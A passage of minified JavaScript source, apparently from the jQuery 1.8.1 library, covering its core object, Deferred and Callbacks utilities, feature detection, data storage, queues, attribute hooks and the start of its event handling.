N.prototype.init(e,t,n,i,r)}function O(e,t){var n,i={height:e},r=0;for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=gt[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function R(e){return Z.isWindow(e)?e:9===e.nodeType&&(e.defaultView||e.parentWindow)}var j,V,U=e.document,B=e.location,H=e.navigator,W=e.jQuery,z=e.$,q=Array.prototype.push,Y=Array.prototype.slice,G=Array.prototype.indexOf,K=Object.prototype.toString,Q=Object.prototype.hasOwnProperty,J=String.prototype.trim,Z=function(e,t){return new Z.fn.init(e,t,j)},X=/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,ee=/\S/,te=/\s+/,ne=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,ie=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,re=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,oe=/^[\],:{}\s]*$/,ae=/(?:^|:|,)(?:\s*\[)+/g,se=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,le=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,ce=/^-ms-/,ue=/-([\da-z])/gi,de=function(e,t){return(t+"").toUpperCase()},fe=function(){U.addEventListener?(U.removeEventListener("DOMContentLoaded",fe,!1),Z.ready()):"complete"===U.readyState&&(U.detachEvent("onreadystatechange",fe),Z.ready())},pe={};Z.fn=Z.prototype={constructor:Z,init:function(e,n,i){var r,o,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if("string"==typeof e){if((r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:ie.exec(e))&&(r[1]||!n)){if(r[1])return a=(n=n instanceof Z?n[0]:n)&&n.nodeType?n.ownerDocument||n:U,e=Z.parseHTML(r[1],a,!0),re.test(r[1])&&Z.isPlainObject(n)&&this.attr.call(e,n,!0),Z.merge(this,e);if((o=U.getElementById(r[2]))&&o.parentNode){if(o.id!==r[2])return i.find(e);this.length=1,this[0]=o}return this.context=U,this.selector=e,this}return!n||n.jquery?(n||i).find(e):this.constructor(n).find(e)}return Z.isFunction(e)?i.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),Z.makeArray(e,this))},selector:"",jquery:"1.8.1",length:0,size:function(){return this.length},toArray:function(){return Y.call(this)},get:function(e){return null==e?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var i=Z.merge(this.constructor(),e);return i.prevObject=this,i.context=this.context,"find"===t?i.selector=this.selector+(this.selector?" ":"")+n:t&&(i.selector=this.selector+"."+t+"("+n+")"),i},each:function(e,t){return Z.each(this,e,t)},ready:function(e){return Z.ready.promise().done(e),this},eq:function(e){return-1===(e=+e)?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Y.apply(this,arguments),"slice",Y.call(arguments).join(","))},map:function(e){return this.pushStack(Z.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:q,sort:[].sort,splice:[].splice},Z.fn.init.prototype=Z.fn,Z.extend=Z.fn.extend=function(){var e,n,i,r,o,a,s=arguments[0]||{},l=1,c=arguments.length,u=!1;for("boolean"==typeof s&&(u=s,s=arguments[1]||{},l=2),"object"!=typeof s&&!Z.isFunction(s)&&(s={}),c===l&&(s=this,--l);l<c;l++)if(null!=(e=arguments[l]))for(n in e)i=s[n],s!==(r=e[n])&&(u&&r&&(Z.isPlainObject(r)||(o=Z.isArray(r)))?(o?(o=!1,a=i&&Z.isArray(i)?i:[]):a=i&&Z.isPlainObject(i)?i:{},s[n]=Z.extend(u,a,r)):r!==t&&(s[n]=r));return s},Z.extend({noConflict:function(t){return e.$===Z&&(e.$=z),t&&e.jQuery===Z&&(e.jQuery=W),Z},isReady:!1,readyWait:1,holdReady:function(e){e?Z.readyWait++:Z.ready(!0)},ready:function(e){if(!0===e?!--Z.readyWait:!Z.isReady){if(!U.body)return setTimeout(Z.ready,1);Z.isReady=!0,!0!==e&&--Z.readyWait>0||(V.resolveWith(U,[Z]),Z.fn.trigger&&Z(U).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===Z.type(e)},isArray:Array.isArray||function(e){return"array"===Z.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?String(e):pe[K.call(e)]||"object"},isPlainObject:function(e){if(!e||"object"!==Z.type(e)||e.nodeType||Z.isWindow(e))return!1;try{if(e.constructor&&!Q.call(e,"constructor")&&!Q.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(j){return!1}var n;for(n in e);return n===t||Q.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var i;return e&&"string"==typeof e?("boolean"==typeof t&&(n=t,t=0),t=t||U,(i=re.exec(e))?[t.createElement(i[1])]:(i=Z.buildFragment([e],t,n?null:[]),Z.merge([],(i.cacheable?Z.clone(i.fragment):i.fragment).childNodes))):null},parseJSON:function(t){return t&&"string"==typeof t?(t=Z.trim(t),e.JSON&&e.JSON.parse?e.JSON.parse(t):oe.test(t.replace(se,"@").replace(le,"]").replace(ae,""))?new Function("return "+t)():void Z.error("Invalid JSON: "+t)):null},parseXML:function(n){var i;if(!n||"string"!=typeof n)return null;try{ e.DOMParser?i=(new DOMParser).parseFromString(n,"text/xml"):((i=new ActiveXObject("Microsoft.XMLDOM")).async="false",i.loadXML(n))}catch(B){i=t}return(!i||!i.documentElement||i.getElementsByTagName("parsererror").length)&&Z.error("Invalid XML: "+n),i},noop:function(){},globalEval:function(t){t&&ee.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(ce,"ms-").replace(ue,de)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toUpperCase()===t.toUpperCase()},each:function(e,n,i){var r,o=0,a=e.length,s=a===t||Z.isFunction(e);if(i)if(s){for(r in e)if(!1===n.apply(e[r],i))break}else for(;o<a&&!1!==n.apply(e[o++],i););else if(s){for(r in e)if(!1===n.call(e[r],r,e[r]))break}else for(;o<a&&!1!==n.call(e[o],o,e[o++]););return e},trim:J&&!J.call("\xef\xbb\xbf\xc2 ")?function(e){return null==e?"":J.call(e)}:function(e){return null==e?"":e.toString().replace(ne,"")},makeArray:function(e,t){var n,i=t||[];return null!=e&&(n=Z.type(e),null==e.length||"string"===n||"function"===n||"regexp"===n||Z.isWindow(e)?q.call(i,e):Z.merge(i,e)),i},inArray:function(e,t,n){var i;if(t){if(G)return G.call(t,e,n);for(i=t.length,n=n?n<0?Math.max(0,i+n):n:0;n<i;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var i=n.length,r=e.length,o=0;if("number"==typeof i)for(;o<i;o++)e[r++]=n[o];else for(;n[o]!==t;)e[r++]=n[o++];return e.length=r,e},grep:function(e,t,n){var i=[],r=0,o=e.length;for(n=!!n;r<o;r++)n!==!!t(e[r],r)&&i.push(e[r]);return i},map:function(e,n,i){var r,o,a=[],s=0,l=e.length;if(e instanceof Z||l!==t&&"number"==typeof l&&(l>0&&e[0]&&e[l-1]||0===l||Z.isArray(e)))for(;s<l;s++)null!=(r=n(e[s],s,i))&&(a[a.length]=r);else for(o in e)null!=(r=n(e[o],o,i))&&(a[a.length]=r);return a.concat.apply([],a)},guid:1,proxy:function(e,n){var i,r,o;return"string"==typeof n&&(i=e[n],n=e,e=i),Z.isFunction(e)?(r=Y.call(arguments,2),(o=function(){return e.apply(n,r.concat(Y.call(arguments)))}).guid=e.guid=e.guid||o.guid||Z.guid++,o):t},access:function(e,n,i,r,o,a,s){var l,c=null==i,u=0,d=e.length;if(i&&"object"==typeof i){for(u in i)Z.access(e,n,u,i[u],1,a,r);o=1}else if(r!==t){if(l=s===t&&Z.isFunction(r),c&&(l?(l=n,n=function(e,t,n){return l.call(Z(e),n)}):(n.call(e,r),n=null)),n)for(;u<d;u++)n(e[u],i,l?r.call(e[u],u,n(e[u],i)):r,s);o=1}return o?e:c?n.call(e):d?n(e[0],i):a},now:function(){return(new Date).getTime()}}),Z.ready.promise=function(t){if(!V)if(V=Z.Deferred(),"complete"===U.readyState)setTimeout(Z.ready,1);else if(U.addEventListener)U.addEventListener("DOMContentLoaded",fe,!1),e.addEventListener("load",Z.ready,!1);else{U.attachEvent("onreadystatechange",fe),e.attachEvent("onload",Z.ready);var n=!1;try{n=null==e.frameElement&&U.documentElement}catch(B){}n&&n.doScroll&&function t(){if(!Z.isReady){try{n.doScroll("left")}catch(e){return setTimeout(t,50)}Z.ready()}}()}return V.promise(t)},Z.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(e,t){pe["[object "+t+"]"]=t.toLowerCase()}),j=Z(U);var he={};Z.Callbacks=function(e){e="string"==typeof e?he[e]||n(e):Z.extend({},e);var i,r,o,a,s,l,c=[],u=!e.once&&[],d=function(t){for(i=e.memory&&t,r=!0,l=a||0,a=0,s=c.length,o=!0;c&&l<s;l++)if(!1===c[l].apply(t[0],t[1])&&e.stopOnFalse){i=!1;break}o=!1,c&&(u?u.length&&d(u.shift()):i?c=[]:f.disable())},f={add:function(){if(c){var t=c.length;(function n(t){Z.each(t,function(t,i){var r=Z.type(i);"function"!==r||e.unique&&f.has(i)?i&&i.length&&"string"!==r&&n(i):c.push(i)})})(arguments),o?s=c.length:i&&(a=t,d(i))}return this},remove:function(){return c&&Z.each(arguments,function(e,t){for(var n;(n=Z.inArray(t,c,n))>-1;)c.splice(n,1),o&&(n<=s&&s--,n<=l&&l--)}),this},has:function(e){return Z.inArray(e,c)>-1},empty:function(){return c=[],this},disable:function(){return c=u=i=t,this},disabled:function(){return!c},lock:function(){return u=t,i||f.disable(),this},locked:function(){return!u},fireWith:function(e,t){return t=[e,(t=t||[]).slice?t.slice():t],c&&(!r||u)&&(o?u.push(t):d(t)),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!r}};return f},Z.extend({Deferred:function(e){var t=[["resolve","done",Z.Callbacks("once memory"),"resolved"],["reject","fail",Z.Callbacks("once memory"),"rejected"],["notify","progress",Z.Callbacks("memory")]],n="pending",i={state:function(){return n},always:function(){return r.done(arguments).fail(arguments),this},then:function(){var e=arguments;return Z.Deferred(function(n){Z.each(t,function(t,i){var o=i[0],a=e[t];r[i[1]](Z.isFunction(a)?function(){var e=a.apply(this,arguments);e&&Z.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[o+"With"](this===r?n:this,[e])}:n[o])}),e=null}).promise()},promise:function(e){return"object"==typeof e?Z.extend(e,i):i}},r={};return i.pipe=i.then,Z.each(t,function(e,o){var a=o[2],s=o[3];i[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),r[o[0]]=a.fire,r[o[0]+"With"]=a.fireWith}),i.promise(r),e&&e.call(r,r),r},when:function(e){var t,n,i,r=0,o=Y.call(arguments),a=o.length,s=1!==a||e&&Z.isFunction(e.promise)?a:0,l=1===s?e:Z.Deferred(),c=function(e,n,i){return function(r){n[e]=this,i[e]=arguments.length>1?Y.call(arguments):r,i===t?l.notifyWith(n,i):--s||l.resolveWith(n,i)}};if(a>1)for(t=new Array(a),n=new Array(a),i=new Array(a);r<a;r++)o[r]&&Z.isFunction(o[r].promise)?o[r].promise().done(c(r,i,o)).fail(l.reject).progress(c(r,n,t)):--s;return s||l.resolveWith(i,o),l.promise()}}),Z.support=function(){var t,n,i,r,o,a,s,l,c,u,d,f=U.createElement("div");if(f.setAttribute("className","t"),f.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=f.getElementsByTagName("*"),(i=f.getElementsByTagName("a")[0]).style.cssText="top:1px;float:left;opacity:.5",!n||!n.length||!i)return{};o=(r=U.createElement("select")).appendChild(U.createElement("option")),a=f.getElementsByTagName("input")[0],t={leadingWhitespace:3===f.firstChild.nodeType,tbody:!f.getElementsByTagName("tbody").length,htmlSerialize:!!f.getElementsByTagName("link").length,style:/top/.test(i.getAttribute("style")),hrefNormalized:"/a"===i.getAttribute("href"),opacity:/^0.5/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:"on"===a.value,optSelected:o.selected,getSetAttribute:"t"!==f.className,enctype:!!U.createElement("form").enctype,html5Clone:"<:nav></:nav>"!==U.createElement("nav").cloneNode(!0).outerHTML,boxModel:"CSS1Compat"===U.compatMode,submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},a.checked=!0,t.noCloneChecked=a.cloneNode(!0).checked,r.disabled=!0,t.optDisabled=!o.disabled;try{delete f.test}catch(J){t.deleteExpando=!1}if(!f.addEventListener&&f.attachEvent&&f.fireEvent&&(f.attachEvent("onclick",d=function(){t.noCloneEvent=!1}),f.cloneNode(!0).fireEvent("onclick"),f.detachEvent("onclick",d)),(a=U.createElement("input")).value="t",a.setAttribute("type","radio"),t.radioValue="t"===a.value,a.setAttribute("checked","checked"),a.setAttribute("name","t"),f.appendChild(a),(s=U.createDocumentFragment()).appendChild(f.lastChild),t.checkClone=s.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=a.checked,s.removeChild(a),s.appendChild(f),f.attachEvent)for(c in{submit:!0,change:!0,focusin:!0})(u=(l="on"+c)in f)||(f.setAttribute(l,"return;"),u="function"==typeof f[l]),t[c+"Bubbles"]=u;return Z(function(){var n,i,r,o,a="padding:0;margin:0;border:0;display:block;overflow:hidden;",s=U.getElementsByTagName("body")[0];s&&((n=U.createElement("div")).style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",s.insertBefore(n,s.firstChild),i=U.createElement("div"),n.appendChild(i),i.innerHTML="<table><tr><td></td><td>t</td></tr></table>",(r=i.getElementsByTagName("td"))[0].style.cssText="padding:0;margin:0;border:0;display:none",u=0===r[0].offsetHeight,r[0].style.display="",r[1].style.display="none",t.reliableHiddenOffsets=u&&0===r[0].offsetHeight,i.innerHTML="",i.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=4===i.offsetWidth,t.doesNotIncludeMarginInBodyOffset=1!==s.offsetTop,e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(i,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(i,null)||{width:"4px"}).width,(o=U.createElement("div")).style.cssText=i.style.cssText=a,o.style.marginRight=o.style.width="0",i.style.width="1px",i.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),"undefined"!=typeof i.style.zoom&&(i.innerHTML="",i.style.cssText=a+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===i.offsetWidth,i.style.display="block",i.style.overflow="visible",i.innerHTML="<div></div>",i.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==i.offsetWidth,n.style.zoom=1),s.removeChild(n),n=i=r=o=null)}),s.removeChild(f),n=i=r=o=a=s=f=null,t}();var me=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,ge=/([A-Z])/g;Z.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(Z.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return!!(e=e.nodeType?Z.cache[e[Z.expando]]:e[Z.expando])&&!r(e)},data:function(e,n,i,r){if(Z.acceptData(e)){var o,a,s=Z.expando,l="string"==typeof n,c=e.nodeType,u=c?Z.cache:e,d=c?e[s]:e[s]&&s;if(d&&u[d]&&(r||u[d].data)||!l||i!==t)return d||(c?e[s]=d=Z.deletedIds.pop()||++Z.uuid:d=s),u[d]||(u[d]={},c||(u[d].toJSON=Z.noop)),"object"!=typeof n&&"function"!=typeof n||(r?u[d]=Z.extend(u[d],n):u[d].data=Z.extend(u[d].data,n)),o=u[d],r||(o.data||(o.data={}),o=o.data),i!==t&&(o[Z.camelCase(n)]=i),l?null==(a=o[n])&&(a=o[Z.camelCase(n)]):a=o,a}},removeData:function(e,t,n){if(Z.acceptData(e)){var i,o,a,s=e.nodeType,l=s?Z.cache:e,c=s?e[Z.expando]:Z.expando;if(l[c]){if(t&&(i=n?l[c]:l[c].data)){Z.isArray(t)||(t in i?t=[t]:t=(t=Z.camelCase(t))in i?[t]:t.split(" "));for(o=0,a=t.length;o<a;o++)delete i[t[o]];if(!(n?r:Z.isEmptyObject)(i))return}(n||(delete l[c].data,r(l[c])))&&(s?Z.cleanData([e],!0):Z.support.deleteExpando||l!=l.window?delete l[c]:l[c]=null)}}},_data:function(e,t,n){return Z.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName&&Z.noData[e.nodeName.toLowerCase()];return!t||!0!==t&&e.getAttribute("classid")===t}}),Z.fn.extend({data:function(e,n){var r,o,a,s,l,c=this[0],u=0,d=null;if(e===t){if(this.length&&(d=Z.data(c),1===c.nodeType&&!Z._data(c,"parsedAttrs"))){for(l=(a=c.attributes).length;u<l;u++)0===(s=a[u].name).indexOf("data-")&&(s=Z.camelCase(s.substring(5)),i(c,s,d[s]));Z._data(c,"parsedAttrs",!0)}return d}return"object"==typeof e?this.each(function(){Z.data(this,e)}):((r=e.split(".",2))[1]=r[1]?"."+r[1]:"",o=r[1]+"!",Z.access(this,function(n){if(n===t)return(d=this.triggerHandler("getData"+o,[r[0]]))===t&&c&&(d=Z.data(c,e),d=i(c,e,d)),d===t&&r[1]?this.data(r[0]):d;r[1]=n,this.each(function(){var t=Z(this);t.triggerHandler("setData"+o,r),Z.data(this,e,n),t.triggerHandler("changeData"+o,r)})},null,n,arguments.length>1,null,!1))},removeData:function(e){return this.each(function(){Z.removeData(this,e)})}}),Z.extend({queue:function(e,t,n){var i;if(e)return t=(t||"fx")+"queue",i=Z._data(e,t),n&&(!i||Z.isArray(n)?i=Z._data(e,t,Z.makeArray(n)):i.push(n)),i||[]},dequeue:function(e,t){t=t||"fx";var n=Z.queue(e,t),i=n.length,r=n.shift(),o=Z._queueHooks(e,t),a=function(){Z.dequeue(e,t)};"inprogress"===r&&(r=n.shift(),i--),r&&("fx"===t&&n.unshift("inprogress"),delete o.stop,r.call(e,a,o)),!i&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Z._data(e,n)||Z._data(e,n,{empty:Z.Callbacks("once memory").add(function(){Z.removeData(e,t+"queue",!0),Z.removeData(e,n,!0)})})}}),Z.fn.extend({queue:function(e,n){var i=2;return"string"!=typeof e&&(n=e,e="fx",i--),arguments.length<i?Z.queue(this[0],e):n===t?this:this.each(function(){var t=Z.queue(this,e,n);Z._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&Z.dequeue(this,e)})},dequeue:function(e){return this.each(function(){Z.dequeue(this,e)})},delay:function(e,t){return e=Z.fx&&Z.fx.speeds[e]||e,t=t||"fx",this.queue(t,function(t,n){var i=setTimeout(t,e);n.stop=function(){clearTimeout(i)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var i,r=1,o=Z.Deferred(),a=this,s=this.length,l=function(){--r||o.resolveWith(a,[a])};for("string"!=typeof e&&(n=e,e=t),e=e||"fx";s--;)(i=Z._data(a[s],e+"queueHooks"))&&i.empty&&(r++,i.empty.add(l));return l(),o.promise(n)}});var ye,ve,be,_e=/[\t\r\n]/g,Te=/\r/g,we=/^(?:button|input)$/i,Se=/^(?:button|input|object|select|textarea)$/i,ke=/^a(?:rea|)$/i,Ce=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,xe=Z.support.getSetAttribute;Z.fn.extend({attr:function(e,t){return Z.access(this,Z.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){Z.removeAttr(this,e)})},prop:function(e,t){return Z.access(this,Z.prop,e,t,arguments.length>1)},removeProp:function(e){return e=Z.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(j){}})},addClass:function(e){var t,n,i,r,o,a,s;if(Z.isFunction(e))return this.each(function(t){Z(this).addClass(e.call(this,t,this.className))});if(e&&"string"==typeof e)for(t=e.split(te),n=0,i=this.length;n<i;n++)if(1===(r=this[n]).nodeType)if(r.className||1!==t.length){for(o=" "+r.className+" ",a=0,s=t.length;a<s;a++)~o.indexOf(" "+t[a]+" ")||(o+=t[a]+" ");r.className=Z.trim(o)}else r.className=e;return this},removeClass:function(e){var n,i,r,o,a,s,l;if(Z.isFunction(e))return this.each(function(t){Z(this).removeClass(e.call(this,t,this.className))});if(e&&"string"==typeof e||e===t)for(n=(e||"").split(te),s=0,l=this.length;s<l;s++)if(1===(r=this[s]).nodeType&&r.className){for(i=(" "+r.className+" ").replace(_e," "),o=0,a=n.length;o<a;o++)for(;i.indexOf(" "+n[o]+" ")>-1;)i=i.replace(" "+n[o]+" "," ");r.className=e?Z.trim(i):""}return this},toggleClass:function(e,t){var n=typeof e,i="boolean"==typeof t;return Z.isFunction(e)?this.each(function(n){Z(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n)for(var r,o=0,a=Z(this),s=t,l=e.split(te);r=l[o++];)a[(s=i?s:!a.hasClass(r))?"addClass":"removeClass"](r);else"undefined"!==n&&"boolean"!==n||(this.className&&Z._data(this,"__className__",this.className),this.className=this.className||!1===e?"":Z._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,i=this.length;n<i;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(_e," ").indexOf(t)>-1)return!0;return!1},val:function(e){var n,i,r,o=this[0];return arguments.length?(r=Z.isFunction(e),this.each(function(i){var o,a=Z(this);1===this.nodeType&&(null==(o=r?e.call(this,i,a.val()):e)?o="":"number"==typeof o?o+="":Z.isArray(o)&&(o=Z.map(o,function(e){return null==e?"":e+""})),(n=Z.valHooks[this.type]||Z.valHooks[this.nodeName.toLowerCase()])&&"set"in n&&n.set(this,o,"value")!==t||(this.value=o))})):o?(n=Z.valHooks[o.type]||Z.valHooks[o.nodeName.toLowerCase()])&&"get"in n&&(i=n.get(o,"value"))!==t?i:"string"==typeof(i=o.value)?i.replace(Te,""):null==i?"":i:void 0}}),Z.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,i,r,o=e.selectedIndex,a=[],s=e.options,l="select-one"===e.type;if(o<0)return null;for(n=l?o:0,i=l?o+1:s.length;n<i;n++)if((r=s[n]).selected&&(Z.support.optDisabled?!r.disabled:null===r.getAttribute("disabled"))&&(!r.parentNode.disabled||!Z.nodeName(r.parentNode,"optgroup"))){if(t=Z(r).val(),l)return t;a.push(t)}return l&&!a.length&&s.length?Z(s[o]).val():a},set:function(e,t){var n=Z.makeArray(t);return Z(e).find("option").each(function(){this.selected=Z.inArray(Z(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,i,r){var o,a,s,l=e.nodeType;if(e&&3!==l&&8!==l&&2!==l)return r&&Z.isFunction(Z.fn[n])?Z(e)[n](i):"undefined"==typeof e.getAttribute?Z.prop(e,n,i):((s=1!==l||!Z.isXMLDoc(e))&&(n=n.toLowerCase(),a=Z.attrHooks[n]||(Ce.test(n)?ve:ye)),i!==t?null===i?void Z.removeAttr(e,n):a&&"set"in a&&s&&(o=a.set(e,i,n))!==t?o:(e.setAttribute(n,""+i),i):a&&"get"in a&&s&&null!==(o=a.get(e,n))?o:null===(o=e.getAttribute(n))?t:o)},removeAttr:function(e,t){var n,i,r,o,a=0;if(t&&1===e.nodeType)for(i=t.split(te);a<i.length;a++)(r=i[a])&&(n=Z.propFix[r]||r,(o=Ce.test(r))||Z.attr(e,r,""),e.removeAttribute(xe?r:n),o&&n in e&&(e[n]=!1))},attrHooks:{type:{set:function(e,t){if(we.test(e.nodeName)&&e.parentNode)Z.error("type property can't be changed");else if(!Z.support.radioValue&&"radio"===t&&Z.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return ye&&Z.nodeName(e,"button")?ye.get(e,t):t in e?e.value:null},set:function(e,t,n){if(ye&&Z.nodeName(e,"button"))return ye.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,i){var r,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return(1!==a||!Z.isXMLDoc(e))&&(n=Z.propFix[n]||n,o=Z.propHooks[n]),i!==t?o&&"set"in o&&(r=o.set(e,i,n))!==t?r:e[n]=i:o&&"get"in o&&null!==(r=o.get(e,n))?r:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):Se.test(e.nodeName)||ke.test(e.nodeName)&&e.href?0:t}}}}),ve={get:function(e,n){var i,r=Z.prop(e,n);return!0===r||"boolean"!=typeof r&&(i=e.getAttributeNode(n))&&!1!==i.nodeValue?n.toLowerCase():t},set:function(e,t,n){var i;return!1===t?Z.removeAttr(e,n):((i=Z.propFix[n]||n)in e&&(e[i]=!0),e.setAttribute(n,n.toLowerCase())),n}},xe||(be={name:!0,id:!0,coords:!0},ye=Z.valHooks.button={get:function(e,n){var i;return(i=e.getAttributeNode(n))&&(be[n]?""!==i.value:i.specified)?i.value:t},set:function(e,t,n){var i=e.getAttributeNode(n);return i||(i=U.createAttribute(n),e.setAttributeNode(i)),i.value=t+""}},Z.each(["width","height"],function(e,t){Z.attrHooks[t]=Z.extend(Z.attrHooks[t],{set:function(e,n){if(""===n)return e.setAttribute(t,"auto"),n}})}),Z.attrHooks.contenteditable={get:ye.get,set:function(e,t,n){""===t&&(t="false"),ye.set(e,t,n)}}),Z.support.hrefNormalized||Z.each(["href","src","width","height"],function(e,n){Z.attrHooks[n]=Z.extend(Z.attrHooks[n],{get:function(e){var i=e.getAttribute(n,2);return null===i?t:i}})}),Z.support.style||(Z.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=""+t}}),Z.support.optSelected||(Z.propHooks.selected=Z.extend(Z.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),Z.support.enctype||(Z.propFix.enctype="encoding"),Z.support.checkOn||Z.each(["radio","checkbox"],function(){Z.valHooks[this]={get:function(e){return null===e.getAttribute("value")?"on":e.value}}}),Z.each(["radio","checkbox"],function(){Z.valHooks[this]=Z.extend(Z.valHooks[this],{set:function(e,t){if(Z.isArray(t))return e.checked=Z.inArray(Z(e).val(),t)>=0}})});var Ee=/^(?:textarea|input|select)$/i,$e=/^([^\.]*|)(?:\.(.+)|)$/,Ae=/(?:^|\s)hover(\.\S+|)\b/,Me=/^key/,Pe=/^(?:mouse|contextmenu)|click/,De=/^(?:focusinfocus|focusoutblur)$/,Fe=function(e){return Z.event.special.hover?e:e.replace(Ae,"mouseenter$1 mouseleave$1")};Z.event={add:function(e,n,i,r,o){var a,s,l,c,u,d,f,p,h,m,g;if(3!==e.nodeType&&8!==e.nodeType&&n&&i&&(a=Z._data(e))){for(i.handler&&(i=(h=i).handler,o=h.selector),i.guid||(i.guid=Z.guid++),(l=a.events)||(a.events=l={}),(s=a.handle)||(a.handle=s=function(e){return void 0===Z||e&&Z.event.triggered===e.type?t:Z.event.dispatch.apply(s.elem,arguments)},s.elem=e),n=Z.trim(Fe(n)).split(" "),c=0;c<n.length;c++)d=(u=$e.exec(n[c])||[])[1],f=(u[2]||"").split(".").sort(),g=Z.event.special[d]||{},d=(o?g.delegateType:g.bindType)||d,g=Z.event.special[d]||{},p=Z.extend({type:d,origType:u[1],data:r,handler:i,guid:i.guid,selector:o,namespace:f.join(".")},h),(m=l[d])||((m=l[d]=[]).delegateCount=0,g.setup&&!1!==g.setup.call(e,r,f,s)||(e.addEventListener?e.addEventListener(d,s,!1):e.attachEvent&&e.attachEvent("on"+d,s))),g.add&&(g.add.call(e,p),p.handler.guid||(p.handler.guid=i.guid)),o?m.splice(m.delegateCount++,0,p):m.push(p),Z.event.global[d]=!0;e=null}},global:{},remove:function(e,t,n,i,r){var o,a,s,l,c,u,d,f,p,h,m,g=Z.hasData(e)&&Z._data(e);if(g&&(f=g.events)){for(t=Z.trim(Fe(t||"")).split(" "),o=0;o<t.length;o++)if(s=l=(a=$e.exec(t[o])||[])[1],c=a[2],s){for(p=Z.event.special[s]||{},u=(h=f[s=(i?p.delegateType:p.bindType)||s]||[]).length,c=c?new RegExp("(^|\\.)"+c.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null,d=0;d<h.length;d++)m=h[d],(r||l===m.origType)&&(!n||n.guid===m.guid)&&(!c||c.test(m.namespace))&&(!i||i===m.selector||"**"===i&&m.selector)&&(h.splice(d--,1),m.selector&&h.delegateCount--,p.remove&&p.remove.call(e,m));0===h.length&&u!==h.length&&((!p.teardown||!1===p.teardown.call(e,c,g.handle))&&Z.removeEvent(e,s,g.handle),delete f[s])}else for(s in 